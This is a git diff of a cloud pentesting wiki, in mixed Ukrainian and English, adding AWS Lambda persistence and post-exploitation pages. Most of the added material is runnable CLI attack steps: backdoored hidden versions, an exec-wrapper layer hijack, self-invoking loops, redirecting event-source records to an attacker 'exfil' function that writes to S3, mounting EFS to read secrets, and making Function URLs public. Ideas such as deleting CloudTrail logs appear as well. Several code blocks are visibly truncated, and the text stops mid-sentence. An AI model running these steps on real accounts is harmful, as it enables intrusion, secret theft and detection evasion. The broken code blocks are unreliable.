diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md index 3c8a46f98..1711c77c3 100644 --- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/README.md @@ -4,7 +4,7 @@ ## Lambda -Для отримання додаткової інформації перегляньте: +Для додаткової інформації див.: {{#ref}} ../../aws-services/aws-lambda-enum.md @@ -12,7 +12,7 @@ ### Lambda Layer Persistence -Можливо **ввести/задній доступ до шару для виконання довільного коду** під час виконання лямбди в прихований спосіб: +Можна **introduce/backdoor a layer to execute arbitrary code** коли Lambda виконується в прихованому режимі: {{#ref}} aws-lambda-layers-persistence.md @@ -20,7 +20,7 @@ aws-lambda-layers-persistence.md ### Lambda Extension Persistence -Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в лямбді, а також красти та змінювати запити. +Abusing Lambda Layers також можливо зловживати extensions і persist в Lambda, а також steal та modify requests. {{#ref}} aws-abusing-lambda-extensions.md @@ -28,37 +28,64 @@ aws-abusing-lambda-extensions.md ### Via resource policies -Можливо надати доступ до різних дій лямбди (таких як виклик або оновлення коду) зовнішнім обліковим записам: +Можна надати доступ до різних дій Lambda (такі як invoke або update code) зовнішнім акаунтам:
### Versions, Aliases & Weights -Лямбда може мати **різні версії** (з різним кодом для кожної версії).\ -Потім ви можете створити **різні псевдоніми з різними версіями** лямбди та встановити різні ваги для кожної.\ -Таким чином, зловмисник може створити **задньодоступну версію 1** та **версію 2 лише з легітимним кодом** і **виконувати версію 1 лише в 1%** запитів, щоб залишатися непоміченим. +Lambda може мати **different versions** (кожна версія з різним кодом).\ +Далі можна створити **different aliases with different versions** функції та задати різні weights для кожного.\ +Таким чином атакуючий може створити **backdoored version 1** і **version 2 with only the legit code** і **only execute the version 1 in 1%** запитів, щоб залишатися stealth.
### Version Backdoor + API Gateway -1. Скопіюйте оригінальний код лямбди -2. **Створіть нову версію з заднім доступом** до оригінального коду (або просто з шкідливим кодом). Опублікуйте та **виконайте цю версію** на $LATEST -1. Викличте API gateway, пов'язаний з лямбдою, щоб виконати код -3. **Створіть нову версію з оригінальним кодом**, опублікуйте та виконайте цю **версію** на $LATEST. -1. Це приховає код з заднім доступом у попередній версії -4. Перейдіть до API Gateway і **створіть новий метод POST** (або виберіть будь-який інший метод), який виконає версію лямбди з заднім доступом: `arn:aws:lambda:us-east-1::function::1` -1. Зверніть увагу на фінальне :1 в arn **яке вказує на версію функції** (версія 1 буде версією з заднім доступом у цьому сценарії). -5. Виберіть створений метод POST і в Actions виберіть **`Deploy API`** -6. Тепер, коли ви **викликаєте функцію через POST, ваш задній доступ** буде активовано +1. Copy the original code of the Lambda +2. **Create a new version backdooring** the original code (or just with malicious code). Publish and **deploy that version** to $LATEST +1. Call the API gateway related to the lambda to execute the code +3. **Create a new version with the original code**, Publish and deploy that **version** to $LATEST. +1. This will hide the backdoored code in a previous version +4. Go to the API Gateway and **create a new POST method** (or choose any other method) that will execute the backdoored version of the lambda: `arn:aws:lambda:us-east-1::function::1` +1. Note the final :1 of the arn **indicating the version of the function** (version 1 will be the backdoored one in this scenario). +5. Select the POST method created and in Actions select **`Deploy API`** +6. Now, when you **call the function via POST your Backdoor** will be invoked ### Cron/Event actuator -Той факт, що ви можете змусити **функції лямбди виконуватися, коли щось відбувається або коли проходить певний час**, робить лямбду гарним і поширеним способом отримання стійкості та уникнення виявлення.\ -Ось кілька ідей, щоб зробити вашу **присутність в AWS більш непомітною, створюючи лямбди**. +Те, що можна змусити **lambda functions run when something happen or when some time pass**, робить Lambda зручною і поширеною технікою для отримання persistence та уникнення детекції.\ +Ось кілька ідей, як зробити вашу **presence in AWS more stealth by creating lambdas**. + +- Every time a new user is created lambda generates a new user key and send it to the attacker. +- Every time a new role is created lambda gives assume role permissions to compromised users. +- Every time new cloudtrail logs are generated, delete/alter them + +### RCE abusing AWS_LAMBDA_EXEC_WRAPPER + Lambda Layers + +Зловживання environment variable `AWS_LAMBDA_EXEC_WRAPPER` дозволяє виконати wrapper-скрипт під контролем атакуючого перед запуском runtime/handler. Доставте wrapper через Lambda Layer у `/opt/bin/htwrap`, встановіть `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, а потім викличте функцію. Wrapper виконується всередині процесу runtime функції, успадковує function execution role і вкінці `exec`'ує реальний runtime так, щоб оригінальний handler все ще виконувався нормально. + +{{#ref}} +aws-lambda-exec-wrapper-persistence.md +{{#endref}} + +### AWS - Lambda Function URL Public Exposure + +Abuse Lambda asynchronous destinations разом із Recursion configuration дозволяє змусити функцію постійно перевикликати себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda припиняє recursive loops, але встановлення recursion config на Allow знову їх вмикає. Destinations доставляють на стороні сервісу для async invokes, тож один seed invoke створює stealthy, code-free heartbeat/backdoor канал. Опційно обмежуйте через reserved concurrency, щоб зменшити шум. + +{{#ref}} +aws-lambda-async-self-loop-persistence.md +{{#endref}} + +### AWS - Lambda Alias-Scoped Resource Policy Backdoor + +Створіть приховану Lambda version з логікою атакуючого і scope-ніть resource-based policy на цю конкретну версію (або alias) використовуючи параметр `--qualifier` в `lambda add-permission`. Надайте лише `lambda:InvokeFunction` на `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` для принципала атакуючого. Звичайні виклики через ім'я функції або primary alias лишаються незмінними, тоді як атакуючий може напряму викликати backdoored version ARN. + +Це stealthier ніж exposure через Function URL і не змінює primary traffic alias. + +{{#ref}} +aws-lambda-alias-version-policy-backdoor.md +{{#endref}} -- Кожного разу, коли створюється новий користувач, лямбда генерує новий ключ користувача та надсилає його зловмиснику. -- Кожного разу, коли створюється нова роль, лямбда надає права на прийняття ролі скомпрометованим користувачам. -- Кожного разу, коли генеруються нові журнали cloudtrail, видаляйте/змінюйте їх {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md new file mode 100644 index 000000000..32c1943ec --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-alias-version-policy-backdoor.md @@ -0,0 +1,88 @@ +# AWS - Lambda Alias-Scoped Resource Policy Backdoor (Invoke specific hidden version) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Резюме + +Створіть приховану версію Lambda зі зловмисною логікою та застосуйте політику на основі ресурсу до цієї конкретної версії (або alias) за допомогою параметра `--qualifier` у `lambda add-permission`. Надайте лише `lambda:InvokeFunction` на `arn:aws:lambda:REGION:ACCT:function:FN:VERSION` для attacker principal. Звичайні виклики через ім'я функції або primary alias залишаються без змін, тоді як attacker може безпосередньо викликати backdoored version ARN. + +Це менш помітно, ніж відкриття Function URL, і не змінює primary traffic alias. + +## Необхідні дозволи (attacker) + +- `lambda:UpdateFunctionCode`, `lambda:UpdateFunctionConfiguration`, `lambda:PublishVersion`, `lambda:GetFunctionConfiguration` +- `lambda:AddPermission` (щоб додати політику ресурсу, обмежену певною версією) +- `iam:CreateRole`, `iam:PutRolePolicy`, `iam:GetRole`, `sts:AssumeRole` (щоб імітувати attacker principal) + +## Кроки атаки (CLI) + +
+Опублікувати приховану версію, додати дозвіл, обмежений `--qualifier`, викликати як attacker +```bash +# Vars +REGION=us-east-1 +TARGET_FN= + +# [Optional] If you want normal traffic unaffected, ensure a customer alias (e.g., "main") stays on a clean version +# aws lambda create-alias --function-name "$TARGET_FN" --name main --function-version --region "$REGION" + +# 1) Build a small backdoor handler and publish as a new version +cat > bdoor.py </dev/null +cat > /tmp/invoke-policy.json </dev/null +cat /tmp/ver-out.json + +# 4) Clean up backdoor (remove only the version-scoped statement). Optionally remove the role +aws lambda remove-permission --function-name "$TARGET_FN" --statement-id ht-version-backdoor --qualifier "$VER" --region $REGION || true +``` +
+ +## Вплив + +- Надає скритий backdoor для виклику прихованої версії функції без модифікації основного alias або розкриття Function URL. +- Обмежує доступ лише до зазначеної версії/alias через resource-based policy `Qualifier`, зменшуючи поверхню виявлення, при цьому зберігаючи надійний виклик для зловмисного principal. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md new file mode 100644 index 000000000..8b5069350 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-async-self-loop-persistence.md @@ -0,0 +1,92 @@ +# AWS - Lambda Async Self-Loop Persistence via Destinations + Recursion Allow + +Зловживати Lambda asynchronous destinations разом із конфігурацією Recursion, щоб змусити функцію постійно повторно викликати себе без зовнішнього планувальника (без EventBridge, cron тощо). За замовчуванням Lambda перериває рекурсивні цикли, але встановлення recursion config в Allow знову їх дозволяє. Destinations deliver on the service side for async invokes, тож один початковий виклик створює прихований, безкодовий heartbeat/backdoor канал. За бажанням обмежте частоту через reserved concurrency, щоб знизити шум. + +Notes +- Lambda does not allow configuring the function to be its own destination directly. Use a function alias as the destination and allow the execution role to invoke that alias. +- Minimum permissions: ability to read/update the target function’s event invoke config and recursion config, publish a version and manage an alias, and update the function’s execution role policy to allow lambda:InvokeFunction on the alias. + +## Requirements +- Region: us-east-1 +- Vars: +- REGION=us-east-1 +- TARGET_FN= + +## Steps + +1) Get function ARN and current recursion setting +``` +FN_ARN=$(aws lambda get-function --function-name "$TARGET_FN" --region $REGION --query Configuration.FunctionArn --output text) +aws lambda get-function-recursion-config --function-name "$TARGET_FN" --region $REGION || true +``` +2) Опублікувати версію та створити/оновити alias (використовується як self destination) +``` +VER=$(aws lambda publish-version --function-name "$TARGET_FN" --region $REGION --query Version --output text) +if ! aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION >/dev/null 2>&1; then +aws lambda create-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION +else +aws lambda update-alias --function-name "$TARGET_FN" --name loop --function-version "$VER" --region $REGION +fi +ALIAS_ARN=$(aws lambda get-alias --function-name "$TARGET_FN" --name loop --region $REGION --query AliasArn --output text) +``` +3) Дозволити ролі виконання функції викликати alias (потрібно для Lambda Destinations→Lambda) +``` +# Set this to the execution role name used by the target function +ROLE_NAME= +cat > /tmp/invoke-self-policy.json </dev/null +``` +7) Спостерігайте безперервні виклики (приклади) +``` +# Recent logs (if the function logs each run) +aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 20 --region $REGION --query events[].timestamp --output text +# or check CloudWatch Metrics for Invocations increasing +``` +8) Необов'язкове приховане обмеження швидкості +``` +aws lambda put-function-concurrency --function-name "$TARGET_FN" --reserved-concurrent-executions 1 --region $REGION +``` +## Очищення +Перервіть цикл та видаліть persistence. +``` +aws lambda put-function-recursion-config --function-name "$TARGET_FN" --recursive-loop Terminate --region $REGION +aws lambda delete-function-event-invoke-config --function-name "$TARGET_FN" --region $REGION || true +aws lambda delete-function-concurrency --function-name "$TARGET_FN" --region $REGION || true +# Optional: delete alias and remove the inline policy when finished +aws lambda delete-alias --function-name "$TARGET_FN" --name loop --region $REGION || true +ROLE_NAME= +aws iam delete-role-policy --role-name "$ROLE_NAME" --policy-name allow-invoke-self --region $REGION || true +``` +## Вплив +- Один async invoke змушує Lambda постійно перевикликати себе без зовнішнього планувальника, що дозволяє stealthy persistence/heartbeat. Reserved concurrency може обмежити шум до одного warm execution. diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md new file mode 100644 index 000000000..154a26aee --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lambda-persistence/aws-lambda-exec-wrapper-persistence.md @@ -0,0 +1,94 @@ +# AWS - Lambda Exec Wrapper Layer Hijack (Pre-Handler RCE) + +{{#include ../../../../banners/hacktricks-training.md}} + +## Резюме + +Зловживайте змінною середовища `AWS_LAMBDA_EXEC_WRAPPER`, щоб виконати контрольований атакуючим скрипт-обгортку перед запуском runtime/handler. Доставте обгортку через Lambda Layer у `/opt/bin/htwrap`, встановіть `AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap`, а потім викличте функцію. Обгортка запускається всередині процесу runtime функції, успадковує роль виконання функції і врешті-решт виконує `exec` реального runtime, тож оригінальний handler усе ще виконується нормально. + +> [!WARNING] +> Ця техніка надає виконання коду в цільовій Lambda без зміни її вихідного коду або ролі та без потреби в `iam:PassRole`. Вам потрібна лише можливість оновлювати конфігурацію функції та опублікувати/приєднати layer. + +## Необхідні дозволи (attacker) + +- `lambda:UpdateFunctionConfiguration` +- `lambda:GetFunctionConfiguration` +- `lambda:InvokeFunction` (або ініціювати через існуючу подію) +- `lambda:ListFunctions`, `lambda:ListLayers` +- `lambda:PublishLayerVersion` (в тому ж акаунті) і опціонально `lambda:AddLayerVersionPermission`, якщо використовуєте cross-account/public layer + +## Скрипт обгортки + +Помістіть обгортку в `/opt/bin/htwrap` у layer. Вона може виконувати логіку перед handler і має закінчуватися `exec "$@"`, щоб передати виконання реальному runtime. +```bash +#!/bin/bash +set -euo pipefail +# Pre-handler actions (runs in runtime process context) +echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" +python3 - <<'PY' +import boto3, json, os +try: +ident = boto3.client('sts').get_caller_identity() +print('[ht] sts identity:', json.dumps(ident)) +except Exception as e: +print('[ht] sts error:', e) +PY +# Chain to the real runtime +exec "$@" +``` +## Кроки атаки (CLI) + +
+Опублікувати layer, прикріпити до цільової функції, встановити wrapper, викликати +```bash +# Vars +REGION=us-east-1 +TARGET_FN= + +# 1) Package wrapper at /opt/bin/htwrap +mkdir -p layer/bin +cat > layer/bin/htwrap <<'WRAP' +#!/bin/bash +set -euo pipefail +echo "[ht] exec-wrapper pre-exec: uid=$(id -u) gid=$(id -g) fn=$AWS_LAMBDA_FUNCTION_NAME region=$AWS_REGION" +python3 - <<'PY' +import boto3, json +print('[ht] sts identity:', __import__('json').dumps(__import__('boto3').client('sts').get_caller_identity())) +PY +exec "$@" +WRAP +chmod +x layer/bin/htwrap +(zip -qr htwrap-layer.zip layer) + +# 2) Publish the layer +LAYER_ARN=$(aws lambda publish-layer-version \ +--layer-name ht-exec-wrapper \ +--zip-file fileb://htwrap-layer.zip \ +--compatible-runtimes python3.11 python3.10 python3.9 nodejs20.x nodejs18.x java21 java17 dotnet8 \ +--query LayerVersionArn --output text --region "$REGION") + +echo "$LAYER_ARN" + +# 3) Attach the layer and set AWS_LAMBDA_EXEC_WRAPPER +aws lambda update-function-configuration \ +--function-name "$TARGET_FN" \ +--layers "$LAYER_ARN" \ +--environment "Variables={AWS_LAMBDA_EXEC_WRAPPER=/opt/bin/htwrap}" \ +--region "$REGION" + +# Wait for update to finish +until [ "$(aws lambda get-function-configuration --function-name "$TARGET_FN" --query LastUpdateStatus --output text --region "$REGION")" = "Successful" ]; do sleep 2; done + +# 4) Invoke and verify via CloudWatch Logs +aws lambda invoke --function-name "$TARGET_FN" /tmp/out.json --region "$REGION" >/dev/null +aws logs filter-log-events --log-group-name "/aws/lambda/$TARGET_FN" --limit 50 --region "$REGION" --query 'events[].message' --output text +``` +
+ +## Impact + +- Виконання коду перед handler-ом у Lambda runtime з використанням наявної execution role функції. +- Не потребує змін у function code або role; працює в загальноприйнятих managed runtimes (Python, Node.js, Java, .NET). +- Дозволяє persistence, доступ до credentials (наприклад, STS), data exfiltration та runtime tampering до запуску handler-а. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md index 97db5b3b7..f28d38d7a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/README.md @@ -4,32 +4,82 @@ ## Lambda -Для отримання додаткової інформації перегляньте: +For more information check: {{#ref}} ../../aws-services/aws-lambda-enum.md {{#endref}} -### Екстракція облікових даних Lambda +### Exfilrtate Lambda Credentials -Lambda використовує змінні середовища для впровадження облікових даних під час виконання. Якщо ви зможете отримати до них доступ (зчитуючи `/proc/self/environ` або використовуючи вразливу функцію), ви зможете використовувати їх самостійно. Вони зберігаються в стандартних іменах змінних `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY` та `AWS_ACCESS_KEY_ID`. +Lambda використовує змінні середовища для ін'єкції credentials під час виконання. Якщо ви зможете отримати доступ до них (прочитавши `/proc/self/environ` або використовуючи вразливу функцію), ви зможете використовувати їх самостійно. Вони зберігаються в стандартних іменах змінних `AWS_SESSION_TOKEN`, `AWS_SECRET_ACCESS_KEY`, та `AWS_ACCESS_KEY_ID`. -За замовчуванням, ці змінні матимуть доступ до запису в групу журналів cloudwatch (ім'я якої зберігається в `AWS_LAMBDA_LOG_GROUP_NAME`), а також до створення довільних груп журналів, однак функції lambda часто мають більше дозволів, призначених залежно від їх призначення. +За замовчуванням ці облікові дані матимуть доступ до запису в cloudwatch log group (ім'я якої зберігається в `AWS_LAMBDA_LOG_GROUP_NAME`), а також до створення довільних log groups; проте lambda functions часто мають більше дозволів, призначених відповідно до їхнього призначення. -### Викрадення запитів URL інших Lambda +### Steal Others Lambda URL Requests -Якщо зловмисник якимось чином зможе отримати RCE всередині Lambda, він зможе викрасти HTTP запити інших користувачів до lambda. Якщо запити містять чутливу інформацію (куки, облікові дані...), він зможе їх викрасти. +Якщо зловмисник якимось чином отримає RCE всередині Lambda, він зможе вкрасти HTTP-запити інших користувачів до lambda. Якщо запити містять конфіденційну інформацію (cookies, credentials...) — їх можна буде викрасти. {{#ref}} aws-warm-lambda-persistence.md {{#endref}} -### Викрадення запитів URL інших Lambda та запитів розширень +### Steal Others Lambda URL Requests & Extensions Requests -Зловживаючи Lambda Layers, також можливо зловживати розширеннями та зберігатися в lambda, а також викрадати та модифікувати запити. +Зловживаючи Lambda Layers, також можна зловживати extensions і забезпечити персистентність у lambda, а також красти й модифікувати запити. {{#ref}} ../../aws-persistence/aws-lambda-persistence/aws-abusing-lambda-extensions.md {{#endref}} +### AWS Lambda – VPC Egress Bypass + +Force a Lambda function out of a restricted VPC by updating its configuration with an empty VpcConfig (SubnetIds=[], SecurityGroupIds=[]). The function will then run in the Lambda-managed networking plane, regaining outbound internet access and bypassing egress controls enforced by private VPC subnets without NAT. + +{{#ref}} +aws-lambda-vpc-egress-bypass.md +{{#endref}} + +### AWS Lambda – Runtime Pinning/Rollback Abuse + +Abuse `lambda:PutRuntimeManagementConfig` to pin a function to a specific runtime version (Manual) or freeze updates (FunctionUpdate). This preserves compatibility with malicious layers/wrappers and can keep the function on an outdated, vulnerable runtime to aid exploitation and long-term persistence. + +{{#ref}} +aws-lambda-runtime-pinning-abuse.md +{{#endref}} + +### AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection + +Abuse `lambda:UpdateFunctionConfiguration` advanced logging controls to redirect a function’s logs to an attacker-chosen CloudWatch Logs log group. This works without changing code or the execution role (most Lambda roles already include `logs:CreateLogGroup/CreateLogStream/PutLogEvents` via `AWSLambdaBasicExecutionRole`). If the function prints secrets/request bodies or crashes with stack traces, you can collect them from the new log group. + +{{#ref}} +aws-lambda-loggingconfig-redirection.md +{{#endref}} + +### AWS - Lambda Function URL Public Exposure + +Turn a private Lambda Function URL into a public unauthenticated endpoint by switching the Function URL AuthType to NONE and attaching a resource-based policy that grants lambda:InvokeFunctionUrl to everyone. This enables anonymous invocation of internal functions and can expose sensitive backend operations. + +{{#ref}} +aws-lambda-function-url-public-exposure.md +{{#endref}} + +### AWS Lambda – Event Source Mapping Target Hijack + +Abuse `UpdateEventSourceMapping` to change the target Lambda function of an existing Event Source Mapping (ESM) so that records from DynamoDB Streams, Kinesis, or SQS are delivered to an attacker-controlled function. This silently diverts live data without touching producers or the original function code. + +{{#ref}} +aws-lambda-event-source-mapping-target-hijack.md +{{#endref}} + +### AWS Lambda – EFS Mount Injection data exfiltration + +Abuse `lambda:UpdateFunctionConfiguration` to attach an existing EFS Access Point to a Lambda, then deploy trivial code that lists/reads files from the mounted path to exfiltrate shared secrets/config that the function previously couldn’t access. + +{{#ref}} +aws-lambda-efs-mount-injection.md +{{#endref}} + + + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md new file mode 100644 index 000000000..c08e26237 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-efs-mount-injection.md @@ -0,0 +1,74 @@ +# AWS Lambda – EFS Mount Injection через UpdateFunctionConfiguration (Крадіжка даних) + +Зловживання `lambda:UpdateFunctionConfiguration` для прикріплення існуючої EFS Access Point до Lambda, а потім розгортання простого коду, який перераховує/зчитує файли з примонтованого шляху для витягання спільних секретів/конфігурацій, до яких функція раніше не мала доступу. + +## Вимоги +- Права на обліковому записі/принципалі жертви: +- `lambda:GetFunctionConfiguration` +- `lambda:ListFunctions` (щоб знайти функції) +- `lambda:UpdateFunctionConfiguration` +- `lambda:UpdateFunctionCode` +- `lambda:InvokeFunction` +- `efs:DescribeMountTargets` (щоб підтвердити наявність mount targets) +- Припущення щодо середовища: +- Цільова Lambda підключена до VPC і її підмережі/SG можуть дістатися до SG mount target EFS по TCP/2049 (наприклад, роль має AWSLambdaVPCAccessExecutionRole і маршрутизація VPC це дозволяє). +- EFS Access Point знаходиться в тому ж VPC і має mount targets в AZ підмереж Lambda. + +## Атака +- Змінні +``` +REGION=us-east-1 +TARGET_FN= +EFS_AP_ARN= +``` +1) Підключіть EFS Access Point до Lambda +``` +aws lambda update-function-configuration \ +--function-name $TARGET_FN \ +--file-system-configs Arn=$EFS_AP_ARN,LocalMountPath=/mnt/ht \ +--region $REGION +# wait until LastUpdateStatus == Successful +until [ "$(aws lambda get-function-configuration --function-name $TARGET_FN --query LastUpdateStatus --output text --region $REGION)" = "Successful" ]; do sleep 2; done +``` +2) Перезаписати code простим reader'ом, який перелічує файли та переглядає перші 200 байтів потенційного secret/config файлу +``` +cat > reader.py </dev/null +cat /tmp/efs-out.json +``` +Вивід має містити список файлів у /mnt/ht та короткий перегляд обраного секретного/конфігураційного файлу з EFS. + +## Наслідки +Зловмисник із вказаними дозволами може змонтувати довільні in-VPC EFS Access Points у цільові функції Lambda, щоб читати та exfiltrate спільні конфігурації й secrets, що зберігаються в EFS і раніше були недоступні цій функції. + +## Очищення +``` +aws lambda update-function-configuration --function-name $TARGET_FN --file-system-configs [] --region $REGION || true +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md new file mode 100644 index 000000000..8b6fc102b --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-event-source-mapping-hijack.md @@ -0,0 +1,75 @@ +# AWS - Hijack Event Source Mapping to Redirect Stream/SQS/Kinesis to Attacker Lambda + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживання `UpdateEventSourceMapping` для зміни цільової функції Lambda існуючого Event Source Mapping (ESM), так щоб записи з DynamoDB Streams, Kinesis або SQS доставлялися до attacker-controlled function. Це непомітно перенаправляє живі дані без втручання у producer apps або початковий код функції. + +## Impact +- Перенаправляти та читати живі записи з існуючих streams/queues без зміни producer apps або victim code. +- Можлива data exfiltration або підміна логіки через обробку трафіку victim у rogue function. + +## Required permissions +- `lambda:ListEventSourceMappings` +- `lambda:GetEventSourceMapping` +- `lambda:UpdateEventSourceMapping` +- Ability to deploy or reference an attacker-controlled Lambda (`lambda:CreateFunction` or permission to use an existing one). + +## Steps + +1) Enumerate event source mappings for the victim function +``` +TARGET_FN= +aws lambda list-event-source-mappings --function-name $TARGET_FN \ +--query 'EventSourceMappings[].{UUID:UUID,State:State,EventSourceArn:EventSourceArn}' +export MAP_UUID=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \ +--query 'EventSourceMappings[0].UUID' --output text) +export EVENT_SOURCE_ARN=$(aws lambda list-event-source-mappings --function-name $TARGET_FN \ +--query 'EventSourceMappings[0].EventSourceArn' --output text) +``` +2) Підготуйте Lambda-приймач під контролем атакуючого (той самий регіон; бажано з подібним VPC/runtime) +``` +cat > exfil.py <<'PY' +import json, boto3, os, time + +def lambda_handler(event, context): +print(json.dumps(event)[:3000]) +b = os.environ.get('EXFIL_S3') +if b: +k = f"evt-{int(time.time())}.json" +boto3.client('s3').put_object(Bucket=b, Key=k, Body=json.dumps(event)) +return {'ok': True} +PY +zip exfil.zip exfil.py +ATTACKER_LAMBDA_ROLE_ARN= +export ATTACKER_FN_ARN=$(aws lambda create-function \ +--function-name ht-esm-exfil \ +--runtime python3.11 --role $ATTACKER_LAMBDA_ROLE_ARN \ +--handler exfil.lambda_handler --zip-file fileb://exfil.zip \ +--query FunctionArn --output text) +``` +3) Перенаправити mapping на функцію зловмисника +``` +aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $ATTACKER_FN_ARN +``` +4) Згенеруйте подію на джерелі, щоб mapping спрацював (наприклад: SQS) +``` +SOURCE_SQS_URL= +aws sqs send-message --queue-url $SOURCE_SQS_URL --message-body '{"x":1}' +``` +5) Перевірте, що attacker function отримує пакет +``` +aws logs filter-log-events --log-group-name /aws/lambda/ht-esm-exfil --limit 5 +``` +6) Необов'язковий stealth +``` +# Pause mapping while siphoning events +aws lambda update-event-source-mapping --uuid $MAP_UUID --enabled false + +# Restore original target later +aws lambda update-event-source-mapping --uuid $MAP_UUID --function-name $TARGET_FN --enabled true +``` +Примітки: +- Для SQS ESMs роль виконання Lambda, що обробляє чергу, повинна мати `sqs:ReceiveMessage`, `sqs:DeleteMessage` та `sqs:GetQueueAttributes` (керована політика: `AWSLambdaSQSQueueExecutionRole`). +- ESM UUID залишається тим самим; змінюється лише його `FunctionArn`, тому producers і source ARNs залишаються без змін. + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md new file mode 100644 index 000000000..e21dec245 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-function-url-public-exposure.md @@ -0,0 +1,46 @@ +# AWS - Lambda Function URL Public Exposure (AuthType NONE + Public Invoke Policy) + +Перетворіть приватний Lambda Function URL на публічний неавтентифікований endpoint, переключивши Function URL AuthType на NONE та додавши resource-based policy, яка надає lambda:InvokeFunctionUrl усім. Це дозволяє анонімно викликати внутрішні функції і може викрити чутливі операції бекенда. + +## Abusing it + +- Попередні вимоги: lambda:UpdateFunctionUrlConfig, lambda:CreateFunctionUrlConfig, lambda:AddPermission +- Регіон: us-east-1 + +### Steps +1) Переконайтеся, що функція має Function URL (за замовчуванням AWS_IAM): +``` +aws lambda create-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true +``` + +2) Зробіть URL публічним (AuthType NONE): +``` +aws lambda update-function-url-config --function-name $TARGET_FN --auth-type NONE +``` + +3) Додайте statement в resource-based policy, щоб дозволити неавтентифікованим принципалам: +``` +aws lambda add-permission --function-name $TARGET_FN --statement-id ht-public-url --action lambda:InvokeFunctionUrl --principal "*" --function-url-auth-type NONE +``` + +4) Отримайте URL і викличте без облікових даних: +``` +URL=$(aws lambda get-function-url-config --function-name $TARGET_FN --query FunctionUrl --output text) +curl -sS "$URL" +``` + +### Impact +- Lambda function стає анонімно доступною через інтернет. + +### Example output (unauthenticated 200) +``` +HTTP 200 +https://e3d4wrnzem45bhdq2mfm3qgde40rjjfc.lambda-url.us-east-1.on.aws/ +{"message": "HackTricks demo: public Function URL reached", "timestamp": 1759761979, "env_hint": "us-east-1", "event_keys": ["version", "routeKey", "rawPath", "rawQueryString", "headers", "requestContext", "isBase64Encoded"]} +``` +### Очищення +``` +aws lambda remove-permission --function-name $TARGET_FN --statement-id ht-public-url || true +aws lambda update-function-url-config --function-name $TARGET_FN --auth-type AWS_IAM || true +``` + diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md new file mode 100644 index 000000000..cc24d59be --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lambda-post-exploitation/aws-lambda-loggingconfig-redirection.md @@ -0,0 +1,51 @@ +# AWS Lambda – Log Siphon via LoggingConfig.LogGroup Redirection + +{{#include ../../../../banners/hacktricks-training.md}} + +Зловживайте можливостями розширених налаштувань логування через `lambda:UpdateFunctionConfiguration`, щоб перенаправити логи функції в обрану атакуючим групу 